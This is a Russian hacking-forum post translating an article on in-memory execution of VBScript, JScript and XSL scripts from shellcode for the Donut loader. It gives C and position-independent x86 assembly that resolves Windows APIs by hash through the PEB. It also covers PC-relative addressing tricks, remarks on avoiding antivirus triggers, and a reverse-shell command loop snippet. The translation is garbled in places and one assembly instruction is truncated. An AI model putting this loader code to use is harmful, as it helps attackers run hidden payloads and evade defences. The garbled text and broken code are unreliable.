• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Shellcode: выполнение в памяти JavaScript, VBScript, JScript и XSL

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205
Shellcode: выполнение в памяти JavaScript, VBScript, JScript и XSL

Вступление

Функция DynaCall () для Win32 была опубликована в августовском выпуске Dr.Dobbs Journal. Автор, Тон Плой, предоставил функцию на C, которая позволяет интерпретируемому языку, такому как VBScript, вызывать внешние функции DLL через зарегистрированный COM-объект. Объект автоматизации для динамических вызовов DLL, опубликованный в ноябре 1998 года Джеффом Стонгом, был основан, чтобы предоставить более полный проект, который он назвал DynamicWrapper. В 2011 году Блэр Странг написал инструмент под названием vbsmem, который использовал DynamicWrapper для выполнения Shell-кода из VBScript. DynamicWrapper был источником вдохновения для другого инструмента под названием DynamicWrapperX, который появился в 2008 году, и он также использовался для выполнения Shell-кода из VBScript.

Обновление мая 2019:
Defender Control Application включает в себя ряд новых политик, один из которых является «COM объект регистрации». Microsoft заявляет, что цель этой политики состоит в том, чтобы обеспечить «встроенный список разрешений для регистрации COM-объектов, чтобы снизить риск, связанный с некоторыми мощными COM-объектами». Они ссылаются на DynamicWrapper? Возможно, но как насчет незарегистрированных COM-объектов? Роберт Фриман / IBM продемонстрировал в 2007 году, что незарегистрированные COM-объекты могут быть полезны для целей запутывания. Его презентация Virus Bulletin. Обфускация нового кода с помощью COM не предоставляет никакого кода для проверки концепции, но демонстрирует возможность неправильного использования интерфейса IActiveScript для вызовов Dynamic DLL без регистрации COM.

Windows Script Host (WSH)

WSH - это технология автоматизации, доступная начиная с Windows 95, которая была популярна среди разработчиков до выпуска .NET Framework в 2002 году. Она в основном использовалась для создания динамического контента, такого как Active Server Pages (ASP), написанного на JScript или VBScript. Поскольку .NET заменил эту технологию, большая часть знаний, приобретенных разработчиками в области Active Scripting вплоть до 2002 года, постепенно исчезла из Интернета. Одна из публикаций, которые часто рекомендуются на форумах разработчиков, - это часто задаваемые вопросы Active X от Mark Baker, в которых даются ответы на большинство вопросов разработчиков об интерфейсе IActiveScript.

Перечисление скриптовых двигателей
Может быть выполнено как минимум двумя способами.

Каждый идентификатор класса, HKEY_CLASSES_ROOT\CLSID\, который содержит подключаемый подраздел, OLEScript может использоваться с Windows Script Hosting. Компонентов для категории Manager можно перечислить CLSID для категории идентификаторов CATID_ActiveScript или CATID_ActiveScriptParse.

Ниже приведен фрагмент кода для отображения активных механизмов сценариев с использованием второго подхода.
Код:
void DisplayScriptEngines(void) {
    ICatInformation *pci = NULL;
    IEnumCLSID *pec = NULL;
    HRESULT hr;
    CLSID clsid;
    OLECHAR *progID, *idStr, path[MAX_PATH], desc[MAX_PATH];
 
    // initialize COM
    CoInitialize(NULL);
   
    // obtain component category manager for this machine
    hr = CoCreateInstance(
      CLSID_StdComponentCategoriesMgr,
      0, CLSCTX_SERVER, IID_ICatInformation,
      (void**)&pci);
     
    if(hr == S_OK) {
      // obtain list of script engine parsers
      hr = pci->EnumClassesOfCategories(
        1, &CATID_ActiveScriptParse, 0, 0, &pec);
     
      if(hr == S_OK) {
        // print each CLSID and Program ID
        for(;;) {
          ZeroMemory(path, ARRAYSIZE(path));
          ZeroMemory(desc, ARRAYSIZE(desc));
         
          hr = pec->Next(1, &clsid, 0);
          if(hr != S_OK) {
            break;
          }
          ProgIDFromCLSID(clsid, &progID);
          StringFromCLSID(clsid, &idStr);
          GetProgIDInfo(idStr, path, desc);
         
          wprintf(L"\n*************************************\n");
          wprintf(L"Description : %s\n", desc);
          wprintf(L"CLSID : %s\n", idStr);
          wprintf(L"Program ID : %s\n", progID);
          wprintf(L"Path of DLL : %s\n", path);
         
          CoTaskMemFree(progID);
          CoTaskMemFree(idStr);
        }
        pec->Release();
      }
      pci->Release();
    }
}

Вывод этого кода в системе с установленными ActivePerl и ActivePython:
Код:
*************************************
Description : JScript Language
CLSID       : {16D51579-A30B-4C8B-A276-0FF4DC41E755}
Program ID  : JScript
Path of DLL : C:\Windows\System32\jscript9.dll

*************************************
Description : XML Script Engine
CLSID       : {989D1DC0-B162-11D1-B6EC-D27DDCF9A923}
Program ID  : XML
Path of DLL : C:\Windows\System32\msxml3.dll

*************************************
Description : VB Script Language
CLSID       : {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
Program ID  : VBScript
Path of DLL : C:\Windows\System32\vbscript.dll

*************************************
Description : VBScript Language Encoding
CLSID       : {B54F3743-5B07-11CF-A4B0-00AA004A55E8}
Program ID  : VBScript.Encode
Path of DLL : C:\Windows\System32\vbscript.dll

*************************************
Description : JScript Compact Profile (ECMA 327)
CLSID       : {CC5BBEC3-DB4A-4BED-828D-08D78EE3E1ED}
Program ID  : JScript.Compact
Path of DLL : C:\Windows\System32\jscript.dll

*************************************
Description : Python ActiveX Scripting Engine
CLSID       : {DF630910-1C1D-11D0-AE36-8C0F5E000000}
Program ID  : Python.AXScript.2
Path of DLL : pythoncom36.dll

*************************************
Description : JScript Language
CLSID       : {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID  : JScript
Path of DLL : C:\Windows\System32\jscript.dll

*************************************
Description : JScript Language Encoding
CLSID       : {F414C262-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID  : JScript.Encode
Path of DLL : C:\Windows\System32\jscript.dll

*************************************
Description : PerlScript Language
CLSID       : {F8D77580-0F09-11D0-AA61-3C284E000000}
Program ID  : PerlScript
Path of DLL : C:\Perl64\bin\PerlSE.dll

Механизмы сценариев PerlScript и Python совмещаются с ActiveState. Я бы порекомендовал использовать {16D51579-A30B-4C8B-A276-0FF4DC41E755} для JavaScript.

C реализация IActiveScript

Во время исследования IActiveScript я обнаружил, что статья «COM в простой C» часть 6 Джеффа Глатта, была довольно полезной. Следующий код представляет собой необходимый минимум для выполнения файлов VBS / JS и не поддерживает объекты WSH.
Код:
VOID run_script(PWCHAR lang, PCHAR script) {
    IActiveScriptParse     *parser;
    IActiveScript          *engine;
    MyIActiveScriptSite    mas;
    IActiveScriptSiteVtbl  vft;
    LPVOID                 cs;
    DWORD                  len;
    CLSID                  langId;
    HRESULT                hr;
   
    // 1. Initialize IActiveScript based on language
    CLSIDFromProgID(lang, &langId);
    CoInitializeEx(NULL, COINIT_MULTITHREADED);
   
    CoCreateInstance(
      &langId, 0, CLSCTX_INPROC_SERVER,
      &IID_IActiveScript, (void **)&engine);
   
    // 2. Query engine for script parser and initialize
    engine->lpVtbl->QueryInterface(
        engine, &IID_IActiveScriptParse,
        (void **)&parser);
       
    parser->lpVtbl->InitNew(parser);
   
    // 3. Initialize IActiveScriptSite interface
    vft.QueryInterface      = (LPVOID)QueryInterface;
    vft.AddRef              = (LPVOID)AddRef;
    vft.Release             = (LPVOID)Release;
    vft.GetLCID             = (LPVOID)GetLCID;
    vft.GetItemInfo         = (LPVOID)GetItemInfo;
    vft.GetDocVersionString = (LPVOID)GetDocVersionString;
    vft.OnScriptTerminate   = (LPVOID)OnScriptTerminate;
    vft.OnStateChange       = (LPVOID)OnStateChange;
    vft.OnScriptError       = (LPVOID)OnScriptError;
    vft.OnEnterScript       = (LPVOID)OnEnterScript;
    vft.OnLeaveScript       = (LPVOID)OnLeaveScript;
   
    mas.site.lpVtbl     = (IActiveScriptSiteVtbl*)&vft;
    mas.siteWnd.lpVtbl  = NULL;
    mas.m_cRef          = 0;
   
    engine->lpVtbl->SetScriptSite(
        engine, (IActiveScriptSite *)&mas);
       
    // 4. Convert script to unicode and execute
    len = MultiByteToWideChar(
      CP_ACP, 0, script, -1, NULL, 0);
   
    len *= sizeof(WCHAR);
   
    cs = malloc(len);
   
    len = MultiByteToWideChar(
      CP_ACP, 0, script, -1, cs, len);
   
    parser->lpVtbl->ParseScriptText(
         parser, cs, 0, 0, 0, 0, 0, 0, 0, 0); 
   
    engine->lpVtbl->SetScriptState(
         engine, SCRIPTSTATE_CONNECTED);
   
    // 5. cleanup
    parser->lpVtbl->Release(parser);
    engine->lpVtbl->Close(engine);
    engine->lpVtbl->Release(engine);
    free(cs);
}

Сборка x86

Наглядно для иллюстрации, что-то похожее в сборке x86 с некоторыми наложенными ограничениями: сценарий не должен превышать 64 КБ, преобразование UTF-16 работает только с символами ANSI (латинский алфавит), а язык (VBS или JS) должен быть предопределен перед сборкой. При объявлении локальной переменной в стеке, превышающей 4 КБ, компиляторы, такие как GCC и MSVC, вставляют код для проверки стека, что позволяет ядру увеличить объем памяти стека, доступной для потока. Конечно, есть переключатели компилятора/ компоновщика для увеличения зарезервированного размера если вы хотели предотвратить проверку стека, но они редко используются на практике. Каждый поток в Windows изначально имеет 16 КБ стека, доступного по умолчанию, как вы можете видеть, вычитая значение StackLimit из StackBase, найденное в блоке среды потока (TEB).
Код:
0:004> !teb
TEB at 000000f4018bf000
    ExceptionList:        0000000000000000
    StackBase:            000000f401c00000
    StackLimit:           000000f401bfc000
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 000000f4018bf000
    EnvironmentPointer:   0000000000000000
    ClientId:             0000000000001940 . 000000000000067c
    RpcHandle:            0000000000000000
    Tls Storage:          0000000000000000
    PEB Address:          000000f40185a000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0
   
0:004> ? 000000f401c00000 - 000000f401bfc000
Evaluate expression: 16384 = 00000000`00004000

Код ассемблера изначально использовал VirtualAlloc для выделения достаточного пространства, но поскольку этот код вряд ли будет использоваться для чего-либо практического, вместо него используется стек.
Код:
; In-Memory execution of VBScript/JScript using 392 bytes of x86 assembly
; Odzhan

      %include "ax.inc"
     
      %define VBS
     
      bits 32
     
      %ifndef BIN
        global run_scriptx
        global _run_scriptx
      %endif
     
run_scriptx:
_run_scriptx:
      pop ecx ; ecx = return address
      pop eax ; eax = script parameter
      push ecx ; save return address
      cdq ; edx = 0
      ; allocate 128KB of stack.
      push 32 ; ecx = 32
      pop ecx
      mov dh, 16 ; edx = 4096
      pushad ; save all registers
      xchg eax, esi ; esi = script
alloc_mem:
      sub esp, edx ; subtract size of page
      test [esp], esp ; stack probe
      loop alloc_mem ; continue for 32 pages
      mov edi, esp ; edi = memory
      xor eax, eax
utf8_to_utf16: ; YMMV. Prone to a stack overflow.
      cmp byte[esi], al ; ? [esi] == 0
      movsb ; [edi] = [esi], edi++, esi++
      stosb ; [edi] = 0, edi++
      jnz utf8_to_utf16 ;
      stosd ; store 4 nulls at end     
      and edi, -4 ; align by 4 bytes
      call init_api ; load address of invoke_api onto stack
      ; *******************************
      ; INPUT: eax contains hash of API
      ; Assumes DLL already loaded
      ; No support for resolving by ordinal or forward references
      ; *******************************
invoke_api:
      pushad
      push   TEB.ProcessEnvironmentBlock
      pop    ecx
      mov    eax, [fs:ecx]
      mov    eax, [eax+PEB.Ldr]
      mov    edi, [eax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
      jmp    get_dll
next_dll:   
      mov    edi, [edi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
get_dll:
      mov    ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
      mov    eax, [ebx+IMAGE_DOS_HEADER.e_lfanew]
      ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
      mov    ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
                           IMAGE_OPTIONAL_HEADER32.DataDirectory + \
                           IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
                           IMAGE_DATA_DIRECTORY.VirtualAddress]
      jecxz  next_dll
      ; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames
      lea    esi, [ebx+ecx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
      lodsd
      xchg   eax, ecx
      jecxz  next_dll        ; skip if no names
      ; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
      lodsd
      add    eax, ebx        ; ebp = RVA2VA(eax, ebx)
      xchg   eax, ebp        ;
      ; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
      lodsd
      add    eax, ebx        ; edx = RVA2VA(eax, ebx)
      xchg   eax, edx        ;
      ; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals     
      lodsd
      add    eax, ebx        ; esi = RVA2VA(eax, ebx)
      xchg   eax, esi
get_name:
      pushad
      mov    esi, [edx+ecx*4-4] ; esi = AddressOfNames[ecx-1]
      add    esi, ebx           ; esi = RVA2VA(esi, ebx)
      xor    eax, eax           ; eax = 0
      cdq                       ; h = 0
hash_name:   
      lodsb
      add    edx, eax
      ror    edx, 8
      dec    eax
      jns    hash_name
      cmp    edx, [esp + _eax + pushad_t_size]   ; hashes match?
      popad
      loopne get_name              ; --ecx && edx != hash
      jne    next_dll              ; get next DLL       
      movzx  eax, word [esi+ecx*2] ; eax = AddressOfNameOrdinals[ecx]
      add    ebx, [ebp+eax*4]      ; ecx = base + AddressOfFunctions[eax]
      mov    [esp+_eax], ebx
      popad                        ; restore all
      jmp    eax
_ds_section:
; ---------------------
      db "ole32", 0, 0, 0
co_init:
      db "CoInitializeEx", 0
co_init_len equ $-co_init
co_create:
      db "CoCreateInstance", 0
co_create_len equ $-co_create
      ; IID_IActiveScript
      ; IID_IActiveScriptParse32 +1
      dd 0xbb1a2ae1
      dw 0xa4f9, 0x11cf
      db 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64
  %ifdef VBS
      ; CLSID_VBScript
      dd 0xB54F3741
      dw 0x5B07, 0x11cf
      db 0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8
  %else
      ; CLSID_JScript
      dd 0xF414C260
      dw 0x6AC0, 0x11CF
      db 0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58
  %endif
_QueryInterface:
      mov eax, E_NOTIMPL ; return E_NOTIMPL
      retn 3*4
_AddRef:
_Release:
      pop eax ; return S_OK
      push eax
      push eax
_GetLCID:
_GetItemInfo:
_GetDocVersionString:
      pop eax ; return S_OK
      push eax
      push eax
_OnScriptTerminate:
      xor eax, eax ; return S_OK
      retn 3*4
_OnStateChange:
_OnScriptError:
      jmp _GetDocVersionString
_OnEnterScript:
_OnLeaveScript:
      jmp _Release
init_api:
      pop ebp
      lea esi, [ebp + (_ds_section - invoke_api)]
     
      ; LoadLibrary("ole32");
      push esi ; "ole32", 0
      mov eax, 0xFA183D4A ; eax = hash("LoadLibraryA")
      call ebp ; invoke_api(eax)
      xchg ebx, eax ; ebp = base of ole32
      lodsd ; skip "ole32"
      lodsd
           
      ; _CoInitializeEx = GetProcAddress(ole32, "CoInitializeEx");
      mov eax, 0x4AAC90F7 ; eax = hash("GetProcAddress")
      push eax ; save eax/hash
      push esi ; esi = "CoInitializeEx"
      push ebx ; base of ole32
      call ebp ; invoke_api(eax)

      ; 1. _CoInitializeEx(NULL, COINIT_MULTITHREADED);
      cdq ; edx = 0
      push edx ; COINIT_MULTITHREADED
      push edx ; NULL
      call eax ; CoInitializeEx
     
      add esi, co_init_len ; skip "CoInitializeEx", 0
     
      ; _CoCreateInstance = GetProcAddress(ole32, "CoCreateInstance");
      pop eax ; eax = hash("GetProcAddress")
      push esi ; "CoCreateInstance"
      push ebx ; base of ole32
      call ebp ; invoke_api

      add esi, co_create_len ; skip "CoCreateInstance", 0
     
      ; 2. _CoCreateInstance(
          ; &langId, 0, CLSCTX_INPROC_SERVER,
          ; &IID_IActiveScript, (void **)&engine);
      push edi ; &engine
      scasd ; skip engine
      mov ebx, edi ; ebx = &parser
      push edi ; &IID_IActiveScript
      movsd
      movsd
      movsd
      movsd
      push CLSCTX_INPROC_SERVER
      push 0 ;
      push esi ; &CLSID_VBScript or &CLSID_JScript
      call eax ; _CoCreateInstance
     
      ; 3. Query engine for script parser
      ; engine->lpVtbl->QueryInterface(
      ; engine, &IID_IActiveScriptParse,
      ; (void **)&parser);
      push edi ; &parser
      push ebx ; &IID_IActiveScriptParse32
      inc dword[ebx] ; add 1 for IActiveScriptParse32
      mov esi, [ebx-4] ; esi = engine
      push esi ; engine
      mov eax, [esi] ; eax = engine->lpVtbl
      call dword[eax + IUnknownVtbl.QueryInterface]
     
      ; 4. Initialize parser   
      ; parser->lpVtbl->InitNew(parser);
      mov ebx, [edi] ; ebx = parser
      push ebx ; parser
      mov eax, [ebx] ; eax = parser->lpVtbl
      call   dword[eax + IActiveScriptParse32Vtbl.Init

      ; 5. Initialize IActiveScriptSite
      lea    eax, [ebp + (_QueryInterface - invoke_api)]
      push   edi                    ; save pointer to IActiveScriptSiteVtbl
      stosd                         ; vft.QueryInterface      = (LPVOID)QueryInterface;
      add    eax, _AddRef  - _QueryInterface
      stosd                         ; vft.AddRef              = (LPVOID)AddRef;
      stosd                         ; vft.Release             = (LPVOID)Release;
      add    eax, _GetLCID - _Release
      stosd                         ; vft.GetLCID             = (LPVOID)GetLCID;
      stosd                         ; vft.GetItemInfo         = (LPVOID)GetItemInfo;
      stosd                         ; vft.GetDocVersionString = (LPVOID)GetDocVersionString;
      add    eax, _OnScriptTerminate - _GetDocVersionString
      stosd                         ; vft.OnScriptTerminate   = (LPVOID)OnScriptTerminate;
      add    eax, _OnStateChange - _OnScriptTerminate
      stosd                         ; vft.OnStateChange       = (LPVOID)OnStateChange;
      stosd                         ; vft.OnScriptError       = (LPVOID)OnScriptError;
      inc    eax
      inc    eax
      stosd                         ; vft.OnEnterScript       = (LPVOID)OnEnterScript;
      stosd                         ; vft.OnLeaveScript       = (LPVOID)OnLeaveScript;
      pop    eax                    ; eax = &vft
     
      ; 6. Set script site
      ; engine->lpVtbl->SetScriptSite(
      ;   engine, (IActiveScriptSite *)&mas);
      push    edi                   ; &IMyActiveScriptSite
      stosd                         ; IActiveScriptSite.lpVtbl = &vft
      xor     eax, eax
      stosd                         ; IActiveScriptSiteWindow.lpVtbl = NULL
      push    esi                   ; engine
      mov     eax, [esi]
      call    dword[eax + IActiveScriptVtbl.SetScriptSite]

      ; 7. Parse our script
      ; parser->lpVtbl->ParseScriptText(
      ;     parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);
      mov    edx, esp
      push   8
      pop    ecx
init_parse:
      push   eax                    ; 0
      loop   init_parse
      push   edx                    ; script
      push   ebx                    ; parser
      mov    eax, [ebx]
      call   dword[eax + IActiveScriptParse32Vtbl.ParseScriptText]
     
      ; 8. Run script
      ; engine->lpVtbl->SetScriptState(
      ;     engine, SCRIPTSTATE_CONNECTED);
      push   SCRIPTSTATE_CONNECTED
      push   esi
      mov    eax, [esi]
      call   dword[eax + IActiveScriptVtbl.SetScriptState]
     
      ; 9. cleanup
      ; parser->lpVtbl->Release(parser);
      push   ebx
      mov    eax, [ebx]
      call   dword[eax + IUnknownVtbl.Release]
     
      ; engine->lpVtbl->Close(engine);
      push   esi                    ; engine
      push   esi                    ; engine
      lodsd                         ; eax = lpVtbl
      xchg   eax, edi
      call   dword[edi + IActiveScriptVtbl.Close]
      ; engine->lpVtbl->Release(engine);
      call   dword[edi + IUnknownVtbl.Release]
    
      inc    eax                    ; eax = 4096 * 32
      shl    eax, 17
      add    esp, eax
      popad
      ret

Хост-объекты Windows Script

Два именованных объекта (WSH и WScript) добавляются в пространство имен сценария с помощью wscript.exe / cscript.exe, которые не требуют создания экземпляров во время выполнения. Объект 'WScript'используется главным образом для консольного ввода-вывода, доступа к аргументам и пути сценария на диске. Его также можно использовать для завершения сценария с помощью метода Quit или операций опроса с помощью метода Sleep . Интерфейс IActiveScript предоставляет только базовые функции сценариев, поэтому, если мы хотим, чтобы наш хост поддерживал эти объекты или любые другие пользовательские объекты, они должны быть реализованы вручную. Рассмотрим следующий код, взятый из ReVBShell, который должен работать внутри WSH.
Код:
While True
    ' receive command from remote HTTP server
    ' other code omitted
    Select Case strCommand
      Case "KILL"
        SendStatusUpdate strRawCommand, "Goodbye!"
        WScript.Quit 0
    End Select
  Wend

Когда это использовалось для тестирования Shell-кода Donut , движок сценария прекратил работу при достижении строки «WScript.Quit 0», поскольку он не распознал объект WScript. «On Error Resume Next» была включена, и поэтому скрипт просто продолжал выполняться. После того, как имя этого объекта было добавлено в пространство имен через IActiveScript :: AddNamedItem, запрос для интерфейсов ITypeInfo и IUnknown был сделан через IActiveScriptSite :: GetItemInfo. Если мы не предоставляем интерфейс для запроса, перед завершением анализатор вызывает IActiveScriptSite :: OnScriptError с сообщением «Переменная «WScript» неопределена».

Для включения поддержки «WScript» требуется пользовательская реализация интерфейса WScript, определенного в информации о типе, которая находится в wscript.exe / cscript.exe. Сначала добавьте имя объекта в пространство именобработчика сценариев, используя AddNamedItem. Это делает любые методы, свойства и события частью этого объекта видимыми для сценария.
Код:
obj = SysAllocString(L"WScript");
engine->lpVtbl->AddNamedItem(engine, (LPCOLESTR)obj, SCRIPTITEM_ISVISIBLE);

Получите информацию о типе из wscript.exe или cscript.exe. IID_IHost - это просто идентификатор класса, полученный из вышеупомянутых EXE-файлов. Ниже приведен скриншот OleWoo , но другие программы просмотра TLB могут работать так же.
wscript_type_info.png

Код:
ITypeLib  lpTypeLib;
ITypeInfo lpTypeInfo;

LoadTypeLib(L"WScript.exe", &lpTypeLib);
lpTypeLib->lpVtbl->GetTypeInfoOfGuid(lpTypeLib, &IID_IHost, &lpTypeInfo);

Теперь, когда механизм сценариев впервые обнаруживает объект «WScript» и запрашивает интерфейс IUnknown через IActiveScriptSite :: GetItemInfo , Donut возвращает указатель на минимальную реализацию интерфейса IHost.

После этого метод IDispatch :: Invoke будет использоваться для вызова метода Quit, запрошенного сценарием. На данный момент Donut реализует только методы Quit и Sleep, но другие могут поддерживаться по запросу.

Преобразования расширяемого языка таблиц стилей (XSLT)

Файлы XSL могут содержать интерпретированные языки, такие как JScript / VBScript. Следующий код основан на этом примере с помощью TheWover.
Код:
void run_xml_script(const char *path) {
    IXMLDOMDocument *pDoc;
    IXMLDOMNode     *pNode;
    HRESULT         hr;
    PWCHAR          xml_str;
    VARIANT_BOOL    loaded;
    BSTR            res;
   
    xml_str = read_script(path);
   
    if(xml_str == NULL) return;
   
    // 1. Initialize COM
    hr = CoInitialize(NULL);
    if(hr == S_OK) {
      // 2. Instantiate XMLDOMDocument object
      hr = CoCreateInstance(
        &CLSID_DOMDocument30,
        NULL, CLSCTX_INPROC_SERVER,
        &IID_IXMLDOMDocument,
        (void**)&pDoc);
       
      if(hr == S_OK) {
        // 3. load XML file
        hr = pDoc->lpVtbl->loadXML(pDoc, xml_str, &loaded);
        if(hr == S_OK) {
          // 4. create node interface
          hr = pDoc->lpVtbl->QueryInterface(
            pDoc, &IID_IXMLDOMNode, (void **)&pNode);
           
          if(hr == S_OK) {
            // 5. execute script
            hr = pDoc->lpVtbl->transformNode(pDoc, pNode, &res);
            pNode->lpVtbl->Release(pNode);
          }
        }
        pDoc->lpVtbl->Release(pDoc);
      }
      CoUninitialize();
    }
    free(xml_str);
}

PC-относительная адресация в C

Компоновщик делает предположение о том, где PE-файл будет загружен в память. Большинство EXE-файлов запрашивают базовый адрес изображения 0x00400000 для 32-разрядных или 0x0000000140000000 для 64-разрядных. Если загрузчик PE не может отобразить по запрошенному адресу, он использует информацию о перемещении для исправления кода и данных, зависящих от положения. ARM поддерживает относительную к ПК адресацию с помощью кодов операций ADR, ADRP и LDR, но в устаревшем старом x86 отсутствует аналогичная инструкция. x64 поддерживает RIP-относительную адресацию, но нет гарантии, что компилятор будет использовать ее, даже если мы сообщим об этом (-fPIC и -fPIE для GCC). Поскольку мы используем C для Shell -кода, нам нужно вручную вычислить адрес функции относительно того места, где Shell-код находится в памяти. Мы могли бы применять перемещения точно так же, как это делает PE-загрузчик, но самоизменяющийся код может запускать некоторые антивирусные программы. Вместо этого счетчик программы (EIP на x86 или RIP на x64) считывается с использованием некоторой сборки, и это используется для вычисления виртуального адреса функции в памяти. Следующая заглушка кода помещается в конец полезной нагрузки и возвращает значение счетчика программы.
Код:
#if defined(_MSC_VER)
  #if defined(_M_X64)

    #define PC_CODE_SIZE 9 // sub rsp, 40 / call get_pc

    static char *get_pc_stub(void) {
      return (char*)_ReturnAddress() - PC_CODE_SIZE;
    }
   
    static char *get_pc(void) {
      return get_pc_stub();
    }

  #elif defined(_M_IX86)
    __declspec(naked) static char *get_pc(void) {
      __asm {
          call   pc_addr
        pc_addr:
          pop    eax
          sub    eax, 5
          ret
      }
    }
  #endif 
#elif defined(__GNUC__)
  #if defined(__x86_64__)
    static char *get_pc(void) {
        __asm__ (
        "call   pc_addr\n"
      "pc_addr:\n"
        "pop    %rax\n"
        "sub    $5, %rax\n"
        "ret");
    }
  #elif defined(__i386__)
    static char *get_pc(void) {
        __asm__ (
        "call   pc_addr\n"
      "pc_addr:\n"
        "popl   %eax\n"
        "subl   $5, %eax\n"
        "ret");
    }
  #endif
#endif

С помощью этого кода компоновщик будет вычислять относительный виртуальный адрес (RVA), вычитая смещение нашей целевой функции из смещения функции get_pc (). Затем во время выполнения он вычтет RVA из программного счетчика, возвращенного get_pc (), чтобы получить виртуальный адрес целевой функции. Позиция get_pc () должна быть помещена в конце полезной нагрузки, иначе это не будет работать. Следующий макрос (названный в честь кода операции ARM ADR) используется для вычисления виртуального адреса функции в памяти.
Код:
#define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr))

Чтобы проиллюстрировать, как он используется, следующий код из полезной нагрузки показывает, как инициализировать интерфейс IActiveScriptSite.
Код:
// initialize virtual function table
static VOID ActiveScript_New(PDONUT_INSTANCE inst, IActiveScriptSite *this) {
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
   
    // Initialize IUnknown
    mas->site.lpVtbl->QueryInterface      = ADR(LPVOID, ActiveScript_QueryInterface);
    mas->site.lpVtbl->AddRef              = ADR(LPVOID, ActiveScript_AddRef);
    mas->site.lpVtbl->Release             = ADR(LPVOID, ActiveScript_Release);
   
    // Initialize IActiveScriptSite
    mas->site.lpVtbl->GetLCID             = ADR(LPVOID, ActiveScript_GetLCID);
    mas->site.lpVtbl->GetItemInfo         = ADR(LPVOID, ActiveScript_GetItemInfo);
    mas->site.lpVtbl->GetDocVersionString = ADR(LPVOID, ActiveScript_GetDocVersionString);
    mas->site.lpVtbl->OnScriptTerminate   = ADR(LPVOID, ActiveScript_OnScriptTerminate);
    mas->site.lpVtbl->OnStateChange       = ADR(LPVOID, ActiveScript_OnStateChange);
    mas->site.lpVtbl->OnScriptError       = ADR(LPVOID, ActiveScript_OnScriptError);
    mas->site.lpVtbl->OnEnterScript       = ADR(LPVOID, ActiveScript_OnEnterScript);
    mas->site.lpVtbl->OnLeaveScript       = ADR(LPVOID, ActiveScript_OnLeaveScript);
   
    mas->site.m_cRef                      = 0;
    mas->inst                             = inst;
}

Динамические вызовы функций DLL

После реализации поддержки некоторых методов WScript обеспечение доступа к функциям DLL напрямую из VBScript/ JScript с использованием аналогичного подхода стало намного проще для понимания. Первоначальная проблема заключается в том, как загрузить информацию о типе непосредственно из памяти. Одно из решений этого может быть найдено в Облегченном подходе для предоставления объектов C ++ размещенному движку Active Scripting. Столкнувшись с той же проблемой, автор использует CreateDispTypeInfo и CreateStdDispatch для создания интерфейсов ITypeInfo и IDispatch, необходимых для интерпретируемых языков для вызова объектов C ++. Тот же подход можно использовать для вызова функций DLL и не требует регистрации COM.

Переведено специально для XSS
neopaket
 
Последнее редактирование:
Бро, было бы не плохо, при переводе понимать о чем речь...
Если честно я сам при переводе ничего не понял, посмотри оригинал, там всё довольно странно как по мне написанно. Обычно в меня такого не бывает и надеюсь вплоть не будет. Но спасибо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх